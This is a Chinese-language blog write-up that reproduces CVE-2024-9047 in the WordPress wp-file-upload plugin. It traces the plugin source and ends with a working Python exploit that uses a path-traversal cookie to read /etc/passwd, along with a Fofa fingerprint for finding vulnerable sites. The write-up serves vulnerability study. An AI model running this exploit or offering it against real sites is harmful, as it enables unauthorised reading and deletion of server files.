CVE-2024-9047复现及成因分析

第一次从源码层面逐步分析一个cve,头秃,但好在捋出来了,写得不好,望各位师傅见谅。

CVE-2024-9047 是一个影响 WordPress 插件 wp-file-upload 的严重漏洞,允许攻击者在前台读取和删除任意文件。漏洞存在于插件版本 <= 4.24.11 中的 wfu_file_downloader.php 文件中。攻击者可以通过构造特定的请求,利用 fopen 函数读取服务器上的敏感文件。

  • 版本:<= 4.24.11
  • Fofa指纹:body=”wp-content/plugins/wp-file-upload”

成因分析

安装了WordPress File Upload插件的系统,在其wp-content/plugins/wp-file-upload目录下的wfu_file_downloader.php 中调用了 wfu_fopen_for_downloader 方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function wfu_fopen_for_downloader($filepath, $mode) {
if (substr($filepath, 0, 7) != "sftp://")
return @fopen($filepath, $mode);
$ret = false;
$ftpinfo = wfu_decode_ftpurl($filepath);
if ($ftpinfo["error"]) return $ret;
$data = $ftpinfo["data"];
{
$conn = @ssh2_connect($data["ftpdomain"], $data["port"]);
if ($conn && @ssh2_auth_password($conn, $data["username"], $data["password"])) {
$sftp = @ssh2_sftp($conn);
if ($sftp) {
$contents = @file_get_contents("ssh2.sftp://" . intval($sftp) . $data["filepath"]);
$stream = fopen('php://memory', 'r+');
fwrite($stream, $contents);
rewind($stream);
$ret = $stream;
}
}
}
return $ret;
}

该方法中存在fopen函数,可以利用其进行文件读取,因此我们需要找到$filepath参数是否是可控的,wfu_file_downloader.php部分源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
<?php
if ( !defined("ABSWPFILEUPLOAD_DIR") ) DEFINE("ABSWPFILEUPLOAD_DIR"dirname(__FILE__).'/');
if ( !defined("WFU_AUTOLOADER_PHP50600") ) DEFINE("WFU_AUTOLOADER_PHP50600"'vendor/modules/php5.6/autoload.php');
include_once( ABSWPFILEUPLOAD_DIR.'lib/wfu_functions.php' );
include_once( ABSWPFILEUPLOAD_DIR.'lib/wfu_security.php' );
$handler = (isset($_POST['handler']) ? $_POST['handler'] : (isset($_GET['handler']) ? $_GET['handler'] : '-1'));
$session_legacy = (isset($_POST['session_legacy']) ? $_POST['session_legacy'] : (isset($_GET['session_legacy']) ? $_GET['session_legacy'] : ''));
$dboption_base = (isset($_POST['dboption_base']) ? $_POST['dboption_base'] : (isset($_GET['dboption_base']) ? $_GET['dboption_base'] : '-1'));
$dboption_useold = (isset($_POST['dboption_useold']) ? $_POST['dboption_useold'] : (isset($_GET['dboption_useold']) ? $_GET['dboption_useold'] : ''));
$wfu_cookie = (isset($_POST['wfu_cookie']) ? $_POST['wfu_cookie'] : (isset($_GET['wfu_cookie']) ? $_GET['wfu_cookie'] : ''));
if $handler == '-1' || $session_legacy == '' || $dboption_base == '-1' || $dboption_useold == '' || $wfu_cookie == '' ) die();
else {
    $GLOBALS["wfu_user_state_handler"] = wfu_sanitize_code($handler);
    $GLOBALS["WFU_GLOBALS"]["WFU_US_SESSION_LEGACY"] = array"""""", ( $session_legacy == '1' ? 'true' : 'false' ), ""true );
    $GLOBALS["WFU_GLOBALS"]["WFU_US_DBOPTION_BASE"] = array""""""wfu_sanitize_code($dboption_base), ""true );
    $GLOBALS["WFU_GLOBALS"]["WFU_US_DBOPTION_USEOLD"] = array"""""", ( $dboption_useold == '1' ? 'true' : 'false' ), ""true );
    if ( !defined("WPFILEUPLOAD_COOKIE") ) DEFINE("WPFILEUPLOAD_COOKIE"wfu_sanitize_tag($wfu_cookie));
    wfu_download_file();
}

function wfu_download_file({
    global $wfu_user_state_handler;
    $file_code = (isset($_POST['file']) ? $_POST['file'] : (isset($_GET['file']) ? $_GET['file'] : ''));
    $ticket = (isset($_POST['ticket']) ? $_POST['ticket'] : (isset($_GET['ticket']) ? $_GET['ticket'] : ''));
    if $file_code == '' || $ticket == '' ) die();
    
    wfu_initialize_user_state();
    
    $ticket wfu_sanitize_code($ticket);   
    $file_code wfu_sanitize_code($file_code);
    //if download ticket does not exist or is expired die
    if ( !WFU_USVAR_exists_downloader('wfu_download_ticket_'.$ticket) || time() > WFU_USVAR_downloader('wfu_download_ticket_'.$ticket) ) {
        WFU_USVAR_unset_downloader('wfu_download_ticket_'.$ticket);
        WFU_USVAR_unset_downloader('wfu_storage_'.$file_code);
        echo 666;
        wfu_update_download_status($ticket'failed');
        die();
    }
    //destroy ticket so it cannot be used again
    WFU_USVAR_unset_downloader('wfu_download_ticket_'.$ticket);
    
    //if file_code starts with exportdata, then this is a request for export of
    //uploaded file data, so disposition_name wont be the filename of the file
    //but wfu_export.csv; also set flag to delete file after download operation
    if substr($file_code010) == "exportdata" ) {
        $file_code substr($file_code10);
        //$filepath = wfu_get_filepath_from_safe($file_code);
        $filepath WFU_USVAR_downloader('wfu_storage_'.$file_code);
        $disposition_name "wfu_export.csv";
        $delete_file true;
    }
    //if file_code starts with debuglog, then this is a request for download of
    //debug_log.txt
    elseif substr($file_code08) == "debuglog" ) {
        $file_code substr($file_code8);
        //$filepath = wfu_get_filepath_from_safe($file_code);
        $filepath WFU_USVAR_downloader('wfu_storage_'.$file_code);
        $disposition_name wfu_basename($filepath);
        $delete_file false;
    }
    else {
        //$filepath = wfu_get_filepath_from_safe($file_code);
        $filepath WFU_USVAR_downloader('wfu_storage_'.$file_code);
        if $filepath === false ) {
            WFU_USVAR_unset_downloader('wfu_storage_'.$file_code);
            wfu_update_download_status($ticket'failed');
            die();
        }
        $filepath wfu_flatten_path($filepath);
        if substr($filepath01) == "/" ) $filepath substr($filepath1);
        $filepath = ( substr($filepath06) == 'ftp://' || substr($filepath07) == 'ftps://' || substr($filepath07) == 'sftp://' ? $filepath WFU_USVAR_downloader('wfu_ABSPATH').$filepath );
        $disposition_name wfu_basename($filepath);
        $delete_file false;
    }
    //destroy file code as it is no longer needed
    WFU_USVAR_unset_downloader('wfu_storage_'.$file_code);
    //check that file exists
    if ( !wfu_file_exists_for_downloader($filepath) ) {
        wfu_update_download_status($ticket'failed');
        die('<script language="javascript">alert("'.( WFU_USVAR_exists_downloader('wfu_browser_downloadfile_notexist') ? WFU_USVAR_downloader('wfu_browser_downloadfile_notexist') : 'File does not exist!' ).'");</script>');
    }

    $open_session false;
    @set_time_limit(0); // disable the time limit for this script
    $fsize wfu_filesize_for_downloader($filepath);
    if $fd wfu_fopen_for_downloader($filepath"rb") ) {
        $open_session = ( ( $wfu_user_state_handler == "session" || $wfu_user_state_handler == "" ) && ( function_exists("session_status") ? ( PHP_SESSION_ACTIVE !== session_status() ) : ( empty(session_id()) ) ) );
        if $open_session session_start();
        header('Content-Type: application/octet-stream');
        header("Content-Disposition: attachment; filename=\"".$disposition_name."\"");
        header('Content-Transfer-Encoding: binary');
        header('Connection: Keep-Alive');
        header('Expires: 0');
        header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
        header('Pragma: public');
        header("Content-length: $fsize");
        $failed false;
        while( !feof($fd) ) {
            $buffer = @fread($fd1024*8);
            echo $buffer;
            ob_flush();
            flush();
            if connection_status() != 0 ) {
                $failed true;
                break;
            }
        }
        fclose ($fd);
    }
    else $failed true;
    
    if $delete_file wfu_unlink_for_downloader($filepath);
    
    if ( !$failed ) {
        wfu_update_download_status($ticket'downloaded');
        if $open_session session_write_close();
        die();
    }
    else {
        wfu_update_download_status($ticket'failed');
        if $open_session session_write_close();
        die('<script type="text/javascript">alert("'.( WFU_USVAR_exists_downloader('wfu_browser_downloadfile_failed') ? WFU_USVAR_downloader('wfu_browser_downloadfile_failed') : 'Could not download file!' ).'");</script>');
    }
}

一步一步跟一下:

第一步,找到调用了wfu_fopen_for_downloader方法的位置

image-20241227192523397

第二步,往前查看对$filepath参数的获取操作,找到我们可控的点

image-20241227192728107

可以看到,$filepath为'wfu_storage_'.$file_code调用了方法WFU_USVAR_downloader后的结果

第三步,进入WFU_USVAR_downloader看其做了什么

image-20241227192941335

如果全局变量 $wfu_user_state_handler 等于 “dboption”,且 WFU_VAR(“WFU_US_DBOPTION_BASE”) == “cookies”,则直接从 $_COOKIE 数组中返回变量 $var 的值。否则,从 session 中获取变量 $var 的值。

也就是说,此处返回的内容为cookie中的键为'wfu_storage_'.$file_code的值,因此我们需要在cookie中传入一个wfu_storage_xxx=(想要读取的路径)

第四步,继续查看$filecode,可以看到是由我们使用file参数传入的

image-20241227193658665

第五步,梳理中途的一些会导致程序die的限制

1
if ( $handler == '-1' || $session_legacy == '' || $dboption_base == '-1' || $dboption_useold == '' || $wfu_cookie == '' ) die();
1
if ( $file_code == '' || $ticket == '' ) die();
1
2
3
4
if ( !WFU_USVAR_exists_downloader('wfu_download_ticket_'.$ticket) || time() > WFU_USVAR_downloader('wfu_download_ticket_'.$ticket) ){
......
die();
}
1
2
3
4
if ( !wfu_file_exists_for_downloader($filepath) ) {
wfu_update_download_status($ticket, 'failed');
die('<script language="javascript">alert("'.( WFU_USVAR_exists_downloader('wfu_browser_downloadfile_notexist') ? WFU_USVAR_downloader('wfu_browser_downloadfile_notexist') : 'File does not exist!' ).'");</script>');
}

在构造payload的时候,需要绕过以上限制,基本就是有一些键值不能为空的情况,这几个值都在前面有获取,通过GET或POST方法。

需要注意的是time() > WFU_USVAR_downloader('wfu_download_ticket_'.$ticket)也会die,因此需要实时获取时间,编写payload:

参数:

1
file=yosheep&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=1&wfu_cookie=1&ticket=yosheep

cookie:

1
Cookie: wfu_storage_yosheep=/../../../../../../etc/passwd[[name]]; wfu_download_ticket_yosheep={time_temp}; wfu_ABSPATH=/var/www/html/;

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import time

def exploit():
time_temp = str(int(time.time()))
url = "http://eci-2ze0wroruql0e90m2opc.cloudeci1.ichunqiu.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php"
get_cont = ('file=yosheep'
'&handler=dboption'
'&session_legacy=1'
'&dboption_base=cookies'
'&dboption_useold=1'
'&wfu_cookie=1'
'&ticket=yosheep')
headers = {
"User-Agent": "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
"Cookie": f"wfu_storage_yosheep=/../../../../../../etc/passwd[[name]];"
f" wfu_download_ticket_yosheep={time_temp};"
f" wfu_ABSPATH=/var/www/html/;"
}

response = requests.get(url + "?" + get_cont, headers=headers)
print(response.text)

if __name__ == '__main__':
exploit()

image-20241227211024740

此处省略了一些,比如wfu_ABSPATH需要包含wp-load.php文件,而该文件在根目录下,由于仅为需要满足的步骤,此处不多赘述。